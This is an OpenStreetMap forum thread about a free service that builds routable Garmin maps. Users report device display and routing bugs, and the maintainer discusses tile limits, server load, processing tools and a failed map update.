- Re: Worldwide routable Garmin maps: URL REMOVED · Nand (Gast) · 25.11.2010 06:18 · [flux]
csdf wrote:
That's interesting. "African" is not a known Garmin restaurant category. What GPS do you have?
I have Garmin Nuvi 1390T.
I am using the osm india map downloaded from http://garmin.na1400.info/routable.php
Can you tell me how can I upload the screenshots to this forum to make the things more clear to the users.
- Re: Worldwide routable Garmin maps: URL REMOVED · csdf (Gast) · 25.11.2010 08:01 · [flux]
I have never tried to upload images directly to this forum, but you could upload them to somewhere like imagebucket or flickr and post the links.
- Re: Worldwide routable Garmin maps: URL REMOVED · Beddhist (Gast) · 25.11.2010 08:04 · [flux]
Beddhist wrote:
All I can add here is that on my Zumo the City Navigator NT map overlays the base map, but the OSM map doesn't.
I forgot to add that I'm using the NZOpenGPS map here in NZ, compiled with cgpsmapper and I don't have this problem. It's only with mkgmap compiled maps.
- Re: Worldwide routable Garmin maps: URL REMOVED · Nand (Gast) · 25.11.2010 08:42 · [flux]
hi,
I have another problem with my garmin with the OSM. When I select a railway station (which is a node on the railway track) from the list of POIs under Travel (or Transport) and ask it for routing, it says "Can't calculate route". However, when I select any other point near the railway station node, it is able to calculate the route. Is it because of some limitation with the OSM data.
- Re: Worldwide routable Garmin maps: URL REMOVED · Nand (Gast) · 25.11.2010 09:00 · [flux]
Just noticed one more problem from the OSM routable map for Garmin (1390T).
Areas tagged as "building=apartments" or "building=yes" does not show-up on the OSM routable map on the garmin Nuvi 1390T.
- Re: Worldwide routable Garmin maps: URL REMOVED · Beddhist (Gast) · 25.11.2010 09:05 · [flux]
That could be a good thing...
- Re: Worldwide routable Garmin maps: URL REMOVED · csdf (Gast) · 25.11.2010 10:57 · [flux]
Nand wrote:
hi,
I have another problem with my garmin with the OSM. When I select a railway station (which is a node on the railway track) from the list of POIs under Travel (or Transport) and ask it for routing, it says "Can't calculate route". However, when I select any other point near the railway station node, it is able to calculate the route. Is it because of some limitation with the OSM data.
Unless the station is also connected to a road, or your Garmin allows a mixture of on and off-road routing, that's probably why you can't route to it.
- Re: Worldwide routable Garmin maps: URL REMOVED · csdf (Gast) · 25.11.2010 10:58 · [flux]
Nand wrote:
Just noticed one more problem from the OSM routable map for Garmin (1390T).
Areas tagged as "building=apartments" or "building=yes" does not show-up on the OSM routable map on the garmin Nuvi 1390T.
It may be that they are the same colour as the background. If you hover over a building, do you get a different tool-tip?
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 25.11.2010 11:05 · [flux]
Nand wrote:
Just noticed one more problem from the OSM routable map for Garmin (1390T).
Areas tagged as "building=apartments" or "building=yes" does not show-up on the OSM routable map on the garmin Nuvi 1390T.
That is "by design" in the last two updates. I'm trying to make the maps a little lighter (easier on the server, less download bandwidth needed, buildings are not needed for routing, etc.). I've also filtered "type=communication" in the latest update as I don't think it adds to the map.
This is the pre-processing filter before the planet data is piped into the initial Splitter run:
osmosis/bin/osmosis␣--rx␣-␣--tf␣reject-ways␣building=*␣--tf␣reject-nodes␣type=communication␣--wx␣-
- Re: Worldwide routable Garmin maps: URL REMOVED · Nand (Gast) · 25.11.2010 11:23 · [flux]
csdf wrote:
Nand wrote:
Just noticed one more problem from the OSM routable map for Garmin (1390T).
Areas tagged as "building=apartments" or "building=yes" does not show-up on the OSM routable map on the garmin Nuvi 1390T.
It may be that they are the same colour as the background. If you hover over a building, do you get a different tool-tip?
No, I do not get any tool-tip when i click (I mean touch) the building area.
- Re: Worldwide routable Garmin maps: URL REMOVED · Nand (Gast) · 25.11.2010 11:28 · [flux]
csdf wrote:
Nand wrote:
hi,
I have another problem with my garmin with the OSM. When I select a railway station (which is a node on the railway track) from the list of POIs under Travel (or Transport) and ask it for routing, it says "Can't calculate route". However, when I select any other point near the railway station node, it is able to calculate the route. Is it because of some limitation with the OSM data.
Unless the station is also connected to a road, or your Garmin allows a mixture of on and off-road routing, that's probably why you can't route to it.
A station-node on a railway track is normally not connected to a road but have platforms and buildings surrounding it. Only when you come out of the platform/building, you will have roads.
And yes, it is able to route to a area where there are no roads. It just picks the nearest road. That means my Garmin 1390T allows a mixture of on and off-road routing.
- Re: Worldwide routable Garmin maps: URL REMOVED · Nand (Gast) · 25.11.2010 12:58 · [flux]
csdf wrote:
That's interesting. "African" is not a known Garmin restaurant category. What GPS do you have?
Here is the screenshot of the same. The restaurant was tagged as "cuisine=indian" but displayed as "African". It would be even good if it is displayed as "Others" instead of "African"
- Re: Worldwide routable Garmin maps: URL REMOVED · Nand (Gast) · 25.11.2010 13:15 · [flux]
One more problem, "Hospital" is being shown as "Food" as shown in the following screenshot. The amenity is tagged as "amenity=hospital"
However, the Hospital is still listed under the POI -> Hospitals. Only on the details of the Hospital, it is displayed as "Food" beside the blue "+"
- Re: Worldwide routable Garmin maps: URL REMOVED · Beddhist (Gast) · 25.11.2010 20:05 · [flux]
These two look like bugs in your GPS. Can you try another map?
Incidentally: petrol looks hyper expensive in your area! 😉
Routing to and from railway stations works in MS, so again, I suspect a bug in your firmware. Unless you can reproduce this in an official Garmin map don't expect Garmin to do anything about it.
- Re: Worldwide routable Garmin maps: URL REMOVED · Nand (Gast) · 26.11.2010 03:39 · [flux]
Beddhist wrote:
These two look like bugs in your GPS. Can you try another map?
Incidentally: petrol looks hyper expensive in your area! 😉
Routing to and from railway stations works in MS, so again, I suspect a bug in your firmware. Unless you can reproduce this in an official Garmin map don't expect Garmin to do anything about it.
Don't go with the currency symbol in the cost of petrol. In Indian Currency the cost is what is displayed. It is just the matter of currency symbol. Garmin is not yet providing Indian Currency symbol in their device, so I have to use the Pound symbol.
Thanks
- Re: Worldwide routable Garmin maps: URL REMOVED · Nand (Gast) · 26.11.2010 03:45 · [flux]
Beddhist wrote:
These two look like bugs in your GPS. Can you try another map?
It does not look like bugs in the GPS because the garmin map provided with the garmin navigator works fine. Even I tried with one of the commercial India map provided by mapmyindia and that works as well.
- Re: Worldwide routable Garmin maps: URL REMOVED · Beddhist (Gast) · 26.11.2010 03:46 · [flux]
I was pulling your leg. It worked! 😄
- Re: Worldwide routable Garmin maps: URL REMOVED · Beddhist (Gast) · 26.11.2010 04:22 · [flux]
Nand wrote:
It does not look like bugs in the GPS because the garmin map provided with the garmin navigator works fine. Even I tried with one of the commercial India map provided by mapmyindia and that works as well.
It still looks like a bug to me and here is why: using the free NZOpenGPS map (compiled with cgpsmapper, rather than with mkgmap, as is the case with OSM maps) I find a hospital in my GPS. I save it. It now shows under category 'Food'. I'm using a Zumo 660, which is similar to a Nuvi, but it doesn't have the POI display like yours does. That's why I had to save the POI first.
I've tried the same thing with a hospital in Miami, which is on a Garmin NT map and the category is hospital. So the problem is confined to non-NT maps, unless the maps you have tried are also old-style, i.e. non-NT maps.
- Re: Worldwide routable Garmin maps: URL REMOVED · Nand (Gast) · 28.11.2010 09:15 · [flux]
Can someone help me to display the phone number with a POI as shown in the following screenshot taken from a commercial india map(non-garmin). The navigator is Nuvi 1390T (with bluetooth).
I have tagged the POI as "phone= 80 XXXXXXXX" but still I am not able to see the phone number on the POI detail nor does I get a "CALL" button for the OSM routable map.
- Re: Worldwide routable Garmin maps: URL REMOVED · Nand (Gast) · 28.11.2010 09:22 · [flux]
Another minor problem
I have tagged "addr:housenumber=3-A1" but it is displayed as "3#1" as shown in the following screenshot. Any idea what is wrong.
-Nand
- Re: Worldwide routable Garmin maps: URL REMOVED · Beddhist (Gast) · 28.11.2010 11:30 · [flux]
For those two issues I think you will have to contact the developers of mkgmap, the program used to compile OSM maps into Garmin format: http://www.mkgmap.org.uk/page/contact
- Re: Worldwide routable Garmin maps: URL REMOVED · sejtam (Gast) · 03.12.2010 03:52 · [flux]
I also ran into the issue that generating two sets of maps (one for home, one for a holiday) makes the Mapsource installer use the same family code(?) and thus one overwrites the other.
I don't think the ability to specify a family for each has been implemented yet (or am I missing something?)So I would like to combine the two sets. Is there a tutorial for this?
Thanks
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 03.12.2010 15:23 · [flux]
It's currently not possible to specify your own family or product id when requesting a map from the website. But I recently added a tutorial to the main page of the website which describes how you can install multiple maps concurrently. Have a look below the slippy map on the website...
- Re: Worldwide routable Garmin maps: URL REMOVED · alimamo (Gast) · 05.12.2010 09:36 · [flux]
Lambertus wrote:
It's currently not possible to specify your own family or product id when requesting a map from the website.
In regards to the above, I was wondering, since you do provide 'country' maps, is there a way to maybe just add the telephone country code as a family ID or as the first few characters of the mapname?
I guess it would depend on when you split/generate the maps.
Just curious.
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 05.12.2010 15:12 · [flux]
Well, it's not exactly easy with the way the site has been built. The countries are an late addition in an attempt to ease the load on the system due to (repeated requests, instead of all requests being unique), but it should be possible. It's a good idea but I don't make promises if and when it will be implemented.
- Re: Worldwide routable Garmin maps: URL REMOVED · greencaps (Gast) · 06.12.2010 17:50 · [flux]
Lambertus wrote:
If you start with using a POSIX compatible threading library on Windows, then Linux won't give you much trouble. PThreads might be useful if you use C or Boost if you use C++.
I started :-).
Just use my familiar thread class under windows first. It started with thinking about a disign with threads. I think I have some ideas.
But here is the first question. Maybe I better ask in the mkgmap group but as I'm not familiar with that group and as I suppose that you want to know that I started I ask here.
You know that in an osm file alle <nodes> are summarized first. Then the <ways> and finally <relation>'s.
I will keep that.
But with threads you never know whose first done and if eigth threads do all the nodes together the output
of nodes might get in a differend order.Would that harm mkgmap?
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 07.12.2010 13:28 · [flux]
Ah, I assumed you were not interested because you didn't respond 🙂
I must tell you that I've found a reasonably simple way around my 'problem': I don't transliterate before the initial split anymore, but I transliterate the resulting files from the initial split. Since that results in a lot of tiles, I can use Translit in parallel on those files (just start multiple processes and each will transliterate one of the tiles). Sometimes the simple way is easily overlooked...
Regarding Mkgmap, I don't know if reordering the nodes/ways/relations will impact it's process. I guess it won't but, admittedly, that's a long shot.
- Re: Worldwide routable Garmin maps: URL REMOVED · greencaps (Gast) · 07.12.2010 15:02 · [flux]
Lambertus wrote:
Ah, I assumed you were not interested because you didn't respond 🙂
Sorry. There was nothing to say. And I had already written that it was on my to do list.
I must tell you that I've found a reasonably simple way around my 'problem': I don't transliterate before the initial split anymore, but I transliterate the resulting files from the initial split.
If you had told that here it would have saved me lots of guilty feelings for taking all that processing time of you.
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 07.12.2010 15:33 · [flux]
Sorry Greencaps 🙁 Now I feel guilty, but perhaps I deserve it.
My other question still stands though, even when the multithreading bit is not very important anymore; it would be good to have the source code of Translit available for the reasons I gave earlier.
- Re: Worldwide routable Garmin maps: URL REMOVED · greencaps (Gast) · 08.12.2010 15:43 · [flux]
That code is in C/C++ and I think it's not difficult to reformat it to Java. But I did nothing with Java before. So my problem, I think, is not the conversion to Java but getting started with it.
What I need is a helping hand with choosing and installing the right Java development environment on my laptop. And then someone who takes me by the hand while openening the mkgmap code in it and telling me the place where a translit function could be integrated.
I think I then could well do this quick myself.
As I do not know anyone who could help me with this... time goes on...
- Re: Worldwide routable Garmin maps: URL REMOVED · REH (Gast) · 10.12.2010 22:11 · [flux]
First, the usual attaboys for your superb work here. You've made life a lot easier for many of us travelers. You make dealing with the boys and girls at Garmin almost worthwhile.
Second, I've successfully downloaded some tiles of Central and South America in the past. When I recently downloaded the three tile sections of New Zealand, I was unable to see any detail zoomed in closer than 200 miles. I know the street level detail is there because when I zoom down onto the (blank) map of Christchurch at 0.2 mi, I can run the mouse over the map and pick up street names, bank locations, and public toilets. But the map is starkly and resolutely blank.
I'm sure it's not any odd settings that I am using. Just today I reloaded the maps of CA, SA, and NZ in a completely new file, installed that, and still have the same problem with NZ detail. The maps of CA and SA on the other hand are perfect, down to the finest zoom level.
Any help or guidance here would be greatly appreciated.
- Re: Worldwide routable Garmin maps: URL REMOVED · Beddhist (Gast) · 12.12.2010 07:56 · [flux]
Assuming you are looking at the maps in MapSource try pressing Ctrl-G twice to clear the cache.
- Re: Worldwide routable Garmin maps: URL REMOVED · REH (Gast) · 12.12.2010 15:49 · [flux]
I am using Mapsource. Clearing the cache didn't help, I'm afraid. I still see no map detail when I zoom in closer than 200 miles.
I didn't even think of using another mapping program to look at these OSM files. Is there some software easily and commercially available to do so? Mapsource and I have never been particularly good friends.
- Re: Worldwide routable Garmin maps: URL REMOVED · zulusafari (Gast) · 12.12.2010 18:36 · [flux]
First of all, Lambertus, you are the MAN! This is really great. My first exposure to OSM was 'Map Kibera.' I'm in Nairobi and those guys are very cool folks. The OSM maps have come in handy for the piki (motorcycle) rides into the bush. We are mapping and addition as much as we can. As we learn this process.
Second, I am a Mac user. Sorry to all the massive amounts of PC guys here, but it's just the plan truth. It is quite difficult to find good resources for grassroots, code rich, stuff. So, I ask you on behalf of my fellow Mac brethren, to once again consider, at the very least, providing a download for the world wide map, in all the formats you put out.
Your service is incredibly unique. Just today, I was helping a friend use your map to just download the tiles he needed for a European tour. Works perfectly for his needs! But you are the only guy putting out the Mac friendly files who has the whole world. I really need the whole world and you are the only guy with it. I tried clicking 99% of the tiles, but it failed and said the URL was to long. I read that a long time ago you said that any request with at least 70% of the tiles would shoot out a pre-combined tile package. I didn't get that 🙁
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 13.12.2010 11:00 · [flux]
Thanks all for the kind words 🙂
REH: I can reproduce your problems, although sometimes I can get MapSource to show the NZ map below 200m zoom by scrolling around a bit, but when zooming in even further even that doesn't help anymore. I don't know what's causing it. The problem does not occur in other areas (I tested the Netherlands myself). It could be a problem with the OSM data somewhere or an unfortunate coincidence. I'll update the tools for the next run, maybe that'll solve the problem.
zulusafari: I'm sorry to have to disappoint, but even after your plea I still don't see why it's necessary to provide a single map of the whole world.
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It's simply not what I'm aiming for
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The bandwidth usage will skyrocket (just like it did in the beginning when there was no tile limit). I don't want to test the patience of my sponsor.
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Most -if not all- gps units won't be able to work with the map because it will be much, much bigger then 2 GB
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Only very few people will travel the whole world in a single trip.
So I think the limitation for smaller sections of the world is still warranted.
There is a solution though. If you truly want to have a single map of the world get a planet dump, Splitter, Mkgmap, gmapibuilder and you'll be able to generate your own map. All the tools are opensource, just look them up in the OSM wiki.
Note: currently the tile selection limit is around 250 tiles (out of around 1500 available tiles). E.g. the most densely mapped countries like The Netherlands are currently 57 tiles and Germany is 107.
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It's simply not what I'm aiming for
- Re: Worldwide routable Garmin maps: URL REMOVED · scobie (Gast) · 13.12.2010 14:10 · [flux]
Hi Lambertus Thanks for the mapping. They will be used in Costa Rica in Feb. My question is about the ocean colour. Do the maps show white or is it a setting I am missing on my GPS? I use a 60C and a Nuvi. Thanks for the maps Scobs
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 13.12.2010 16:41 · [flux]
Ocean color is an old problem that is slowly being solved. My previous attempts showed that the ocean polygons could not be correctly generated. Some important work has recently been done to solve this problem, but I haven't had the opportunity to check if it's workable on a global scale yet.
But, rest assured, if the ocean polygon code works fine then I surely will use it for the maps.
- Re: Worldwide routable Garmin maps: URL REMOVED · REH (Gast) · 14.12.2010 04:04 · [flux]
Lambertus:
Thanks for looking into the "problem" with New Zealand. My neurosis is now under control again. I will await your further efforts. In the meantime I meant every word I said about your extraordinary work here. The idea of my having to deal with OSM files, map makers, and Java code gives me terminal shakes.
REH
- Re: Worldwide routable Garmin maps: URL REMOVED · Beddhist (Gast) · 14.12.2010 09:02 · [flux]
Lambertus, I think you are a Star! In fact, I consider this an essential service for every Garmin user. As word of this spreads and OSM coverage gets better expect usage to skyrocket.
Have you given any thought of opening this up as a community project? For when it starts to outgrow your time and money supply? 🙂
Kind regards,
Peter. - Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 14.12.2010 10:50 · [flux]
Beddhist wrote:
Lambertus, I think you are a Star! In fact, I consider this an essential service for every Garmin user. As word of this spreads and OSM coverage gets better expect usage to skyrocket.
Have you given any thought of opening this up as a community project? For when it starts to outgrow your time and money supply? 🙂
Kind regards,
Peter.Thanks 🙂
I absolutely don't have any problem in supplying all code. I already posted parts of it on the Mkgmap mailinglist. It's just that the whole toolchain is tailored to a specific mix of machines and configurations to generate the tiles, move them to the fileserver and yet another server is used for the webinterface. The webserver on the fileserver also needs write access to specific directories. It's really a mess to understand and to set up.
But I'll see if I can put a zip somewhere with some basic documentation, then anyone can play to hearts content!
- Re: Worldwide routable Garmin maps: URL REMOVED · Nand (Gast) · 24.12.2010 09:22 · [flux]
Lambertus,
Thanks for the new release of the osm routable map for garmin.
Just to let you know that I am not getting any updated map for the last 2 downloads (02-12-2010 and latest 19-12-2010). The map and poi and all its data remains the same as before 02-12-2010. For example, I made a spelling correction from "Mainpal Hospital" to "Manipal Hospital" before 02-12-2010 but still in the latest map of 19-12-2010, I am getting the old spelling only. I am not getting any changes to the map or new POIs in the latest maps.
Are you somehow, missing the updated data for INDIA or I am doing something wrong.
I do lot of contribution to the OSM map almost every day but its little bit disappointing when I do not get those changes in the maps when I download the new map. I do a regular watch of your map release and whenever its available, I download it on my Garmin to test.
Wishing you a Merry Christmas and a Very Very Happy new Year.
-Nand
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 24.12.2010 10:23 · [flux]
Thanks for the heads-up. You are right. Something went wrong and the process has probably used an old planet version. I'll start a new update now.
- Re: Worldwide routable Garmin maps: URL REMOVED · cameo (Gast) · 24.12.2010 17:05 · [flux]
Hello and seasons greetings to everyone
I'm new to this forum but not to the gps community at large. Since this is my 1st post i'd like to start by thanking Lambertus for his tremendous efforts and everyone who has shared interesting insights.
I also take this opportunity to ask a couple of basic questions: what is the simplest way to narrow down the tile sizes to include only data that is relevant to given users? Can the world tiles be edited by the entire community or only by Lambertus?
I am asking this because I cannot get the country I am in without also having to download entire other countries, as the tiles in some parts of the world are just too large and encompass very vast areas.
Thank you.
Mus
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 24.12.2010 17:30 · [flux]
Welcome to the OSM community.
If you're only interested in a small part of the world and you have some technical skills and some time then you can create your own Garmin map based upon OSM data.
For a single tile country the process is simple:
- Download a planet extract. E.g. here.
- Process the extract to a Garmin image using Mkgmap
- Move the image (gmapsupp.img) to the GPSBut I must add that a single tile is usually very small (a few MB) and therefore I do not see any harm in having a bit of data from other countries in your map. So I would not take the trouble and just use the maps provided on my website.
- Re: Worldwide routable Garmin maps: URL REMOVED · csdf (Gast) · 25.12.2010 13:22 · [flux]
Though in the part of the world I live in, which is sparsely mapped, a single tile contains data for 7 different countries. That will change with the recent availability of Bing for tracing, however,
- Re: Worldwide routable Garmin maps: URL REMOVED · Nand Kishore Gupta (Gast) · 25.12.2010 18:13 · [flux]
Lambertus wrote:
Thanks for the heads-up. You are right. Something went wrong and the process has probably used an old planet version. I'll start a new update now.
Is the new update available to download now?
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 25.12.2010 20:13 · [flux]
It's uploading as I type this.
- Re: Worldwide routable Garmin maps: URL REMOVED · Rogerdodger (Gast) · 01.01.2011 21:45 · [flux]
Is something going on with the server? I've tried 2 times to download one tile NZ-Auckland the first time there was 170 in the queue I waited 24 hours and didnt get the email. so tried again with about the same result, now there is 240 odd in the queue, but its been nearly a week since I tried the first time. Ive never seen it take this long, so something else must be going on.
Thanks for any helpOk false alarm. I think when I was putting in the email address it was using one Id previously used that was wrong. Sent it to another address and its come through fine. keep up the good work, always appreciated!
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 02.01.2011 16:39 · [flux]
It looks like these last few days people are requesting maps like crazy. Since the 26th the disk utilisation is at maximum all the time and that's the cause of the massive backlog in request processing (around 266 now). I guess it requires some patience now and then...
Edit: Perhaps something nice to know: Since record keeping started in April 2009, the service received it's 100.000th map render request on November 28, 2010. Of course there have been many more downloads (as the most requested map combinations are stored in a cache and can be downloaded immediately without sending a render request), but I don't keep those statistics. The service is getting around 140k hits and is using about 200 to 300 GB bandwidth each month.
- Re: Worldwide routable Garmin maps: URL REMOVED · Beddhist (Gast) · 03.01.2011 00:57 · [flux]
Would donations help? If so, I'm willing to add a little...
- Re: Worldwide routable Garmin maps: URL REMOVED · DiabloV (Gast) · 03.01.2011 14:36 · [flux]
Thanks for map, but i have a problem. Install map of China region into my Windows mobile phone Garmin-ASUS M10E. I see map, but without route. Then i try to find chinees city - i cant change country - i see only "Russia" from official garmin map (ihave it with my phone).
- Re: Worldwide routable Garmin maps: URL REMOVED · Muruk59 (Gast) · 04.01.2011 02:20 · [flux]
As a new member I would like to say Hi and also say thankyou for the work and time that has been put into this site by all.
Congratulations Lambertus on such a great site.
Cheers
Greg-)
- Re: Worldwide routable Garmin maps: URL REMOVED · Ebenezer (Gast) · 07.01.2011 10:09 · [flux]
Hi. Thanks for your great service. One suggestion: I noticed that the default tile set for Australia is missing one tile north of Melbourne ("AU-Albury" - 63240316.img), and it probably does not need to include the tile for the south of New Zealand ("NZ-Dunedin" 63240324.img).
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 07.01.2011 20:08 · [flux]
Thank you all for the nice comments. 🙂
Elbenezer: I know that the country masks of several countries are suboptimal. E.g. UK, Italy, some US states and apparently Australia as well. However it's a pain to define proper country masks and I keep postponing working on it 🙁
Edit: Well, I decided to do something about the country matching and wrote my own "matchit" application (I previously used a generic one Greencaps wrote, but that did not like my country definition polygon files very well). It's working alright (Italy, UK, Arkansas and Australia are nicely covered now) but there are still a few glitches to cover. I hope to update the website with the new country definitions quickly.
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 10.01.2011 10:57 · [flux]
With a nearly 500 requests backlog extending 3 days back I have reduced the map availability time on the server from 48 tot 40 hours...
Edit 1: It's not helping much though 🙁 Disk usage is 100% all the time and CPU usage is working on new maps about 70-80% of the time. This service does not need to become even more polular... Releasing a new map version doesn't help either I guess (as it needs every map request to be rendered, so no help from caching).
I just see in the stats that this service server almost 19.5 TB in traffic during 2010. Wow!
Anyway: the new tile matcher is now in production. You might notice nicer country names in the pull-down menu's (e.g. 'San Marino' instead of 'san_marino') and the problems with obviously missing tiles for certain countries (like UK, Italy, Arkansas and a few others) has been fixed finally.
Now an opposite situation has developed: for some countries too many tiles are selected (e.g. Netherlands, Germany), but I don't expect that to be a big problem for all you out there 😉
Edit 2: Ahh, I still see some countries with 'holes' in them (e.g. Kazakhstan, Thailand). I need to improve the algorithms a bit more. Please be patient.
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 11.01.2011 17:56 · [flux]
Over 500 requests now, after the map update yesterday. I guess it's time to start some serious thinking about the future. For now, I'll probably update only once every two weeks which will use the caching mechanism more effectively.
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 12.01.2011 22:00 · [flux]
As per request here I added the queue length below the map on the main webpage and a rough guestimate of the waiting time.
- Re: Worldwide routable Garmin maps: URL REMOVED · Nand (Gast) · 13.01.2011 04:06 · [flux]
I had requested for a map (for Bangalore, just one tile) 2 days back and still I did not get that. That time the waiting list was 400+. I am trying to request the same again and I am getting the following error:
"Error: Requested map version (08-01-2011) does not exist. This is mostly caused by some browser caching issue. Please clear your browser cache before trying again.
I'm very sorry but your request failed, this combined map won't be created. Please try again."
Any idea how do I get the latest map for Bangalore, India.
- Re: Worldwide routable Garmin maps: URL REMOVED · garfield1970 (Gast) · 13.01.2011 09:35 · [flux]
First of all , I want to thank Lambertus for this great service !
I try not to abuse it by just refreshing my Luxemburg & surroundings map ( 8 tiles i think ) 2 times a year :-) but I'm running into problems this time
Yesterday , Queue 540+ , when i tried to create my request , I got :
"Error: Requested map version (08-01-2011) does not exist. This is mostly caused by some browser caching issue. Please clear your browser cache before trying again."
aswell , today , withe a queue of 2 , still same error .. so I did two tests
1) remove the version parameter from the URL -> Request gets accepted but not executed
2) replace the version by 24-12-2010 -> Request gets accepted and executed but generates an empty mapSo I guess there's a slight problem with the latest map update
Let's sit back and wait , I'm sure Lambertus will find a solution :-) and please don't complain too much , don't forget he's giving his time and service to all of us at no charge !
cheers,
Claude - Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 13.01.2011 09:38 · [flux]
Aiaiaiaiiii.
The map directory is gone somehow... I think the cleanup script has killed it by accident. I'm afraid that all map requests of the last 2+ days have failed.
I'm very sorry about this, but everyone who has requested a map from the latest version (08-01-2011) will have to do it again...
- Re: Worldwide routable Garmin maps: URL REMOVED · garfield1970 (Gast) · 13.01.2011 09:44 · [flux]
Lol
No biggie :-) Problem identified , that's the most important thing ...
Just let use know when the maps are available again , don't stress yourself too much ;-)
Cheers,
Claude - Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 13.01.2011 10:00 · [flux]
The old version of 31-12-2010 was still available because there were still requests in the queue for that version number so I'm pointing to that version again. Next update is scheduled for this weekend.
- Re: Worldwide routable Garmin maps: URL REMOVED · Nand (Gast) · 13.01.2011 10:08 · [flux]
Lambertus wrote:
The old version of 31-12-2010 was still available because there were still requests in the queue for that version number so I'm pointing to that version again. Next update is scheduled for this weekend.
Thank you very much for your time. I will wait for the next version to release.
- Re: Worldwide routable Garmin maps: URL REMOVED · Skubiduhh (Gast) · 14.01.2011 12:01 · [flux]
Hi Lambertus,
whoever you are and where you are, YOU are doing a FANTASTIC Job. The development of your website and the usage of the maps is just amazing. It is admireable how much time you invest into this project and your level of dedication is just outstanding. I am not much of an IT/internet wizz but I certainly can imagine how much work goes into this.
I have been in plenty of countries in Europe and in the US and thanks to your maps I have been really getting everywhere. Allthough not everything works perfectly yet, all users should be very happy with your output. Remember folks: this is a free service!!!!CHAPEAU !!!!
Keep up this fantastic job !!!!!!
Skubiduhh
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 14.01.2011 17:45 · [flux]
Heh, well, thank you! 😄
Actually, the website is a bit of a hack. It looks ugly and I don't have the skills (or interest) to make it more polished. But it works, which is what counts I guess. Most of the hours have gone in creating the scripts that automate the map pre-processing, building and other miscellaneous things. There are also a lot of people (mostly the really non-experienced computer users ofcourse) who have difficulties moving the maps to the GPS and ask questions by email which sometimes takes a lot of time.
I must also note that a significant portion comes from Greencaps who provided the transliteration application and the first version of the country vs tile matching application. And, ofcourse, last but certainly not least: this website would not be possible without the work of the Mkgmap developers (actually, "Mkgmap community" might be a better description), they deserve the most credit.
- Re: Worldwide routable Garmin maps: URL REMOVED · rogal (Gast) · 15.01.2011 00:00 · [flux]
Hi!
I have two questions:1. Is it possible to compile a TYP file into gmapsupp files by default? I requested a map and it uses internal garmin styles which look quite ugly (and don't render sea areas for example).
2. Maybe this idea was mentioned before but I missed it - how about pre-generating most popular countries maps and upload them to file sharing service like hotfile or rapidshare? It would certainly free a lot of bandwidth, disk and CPU usage from your server. - Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 15.01.2011 11:15 · [flux]
rogal wrote:
Hi!
I have two questions:Good questions 🙂
1. Is it possible to compile a TYP file into gmapsupp files by default? I requested a map and it uses internal garmin styles which look quite ugly (and don't render sea areas for example).
Yes, it's possible but there are no good public generic TYP files (afaik, although one is mentioned/developed on this forum, but I haven't looked at it yet). The sea is not rendered because Mkgmap could not produce a good quality sea, at least not until shortly ago. It has become better but, again, I haven't really looked at it yet.
2. Maybe this idea was mentioned before but I missed it - how about pre-generating most popular countries maps and upload them to file sharing service like hotfile or rapidshare? It would certainly free a lot of bandwidth, disk and CPU usage from your server.
Good idea, but I want things to be fully automated, because otherwise it costs me way too much time. So I'll check it out and see if things can be scripted.
- Re: Worldwide routable Garmin maps: URL REMOVED · BartB (Gast) · 15.01.2011 14:40 · [flux]
Lambertus wrote:
2. Maybe this idea was mentioned before but I missed it - how about pre-generating most popular countries maps and upload them to file sharing service like hotfile or rapidshare? It would certainly free a lot of bandwidth, disk and CPU usage from your server.
Good idea, but I want things to be fully automated, because otherwise it costs me way too much time. So I'll check it out and see if things can be scripted.
Maybe you could make torrents for the popular country maps, so other people could help sharing them?
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 15.01.2011 15:45 · [flux]
BartB wrote:
Lambertus wrote:
2. Maybe this idea was mentioned before but I missed it - how about pre-generating most popular countries maps and upload them to file sharing service like hotfile or rapidshare? It would certainly free a lot of bandwidth, disk and CPU usage from your server.
Good idea, but I want things to be fully automated, because otherwise it costs me way too much time. So I'll check it out and see if things can be scripted.
Maybe you could make torrents for the popular country maps, so other people could help sharing them?
That has been mentioned before, but I don't think torrents will be very helpful for two reasons (correct me if I see this wrong):
- The maps are updated frequently, so older ones are outdated quickly which doesn't make it likely that there will be many seeders.
- The server will have to be a seeder which doesn't alleviate it from it's biggest burden: disk space.I think secondary hosts which run this website (or part of it) for map generation, of download servers for predefined maps are a better solution then torrents.
- Re: Worldwide routable Garmin maps: URL REMOVED · rogal (Gast) · 15.01.2011 15:51 · [flux]
mkgmap has MASTER.TYP style which is quite good, maybe compiling TYP should be optional when requesting a map?
File sharing portals are better than torrent in many cases - don't depend on firewall/router issues, you can quickly download a map on a borrowed computer, etc. Hotfile has (as I remember) partnership program in which you earn money for downloads - nice way to gather $$$ for better server 🙂.
Scripting upload is possible for 100% - I've used some ebook sharing portal which automatically distributed files across all services. 4shared.com and adrive.com have some advanced options for upload.
If you need any help, please let me know on private message - I can make a research on that and write appropriate scripts.
- Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 15.01.2011 17:37 · [flux]
I have never heard of this Master.typ, can you tell more about it?
There is also a Mapnik.typ, I posted it on http://forum.openstreetmap.org/viewtopic.php?id=10032
I've posted it too on the mkgmap mailing list but with zero feedback.
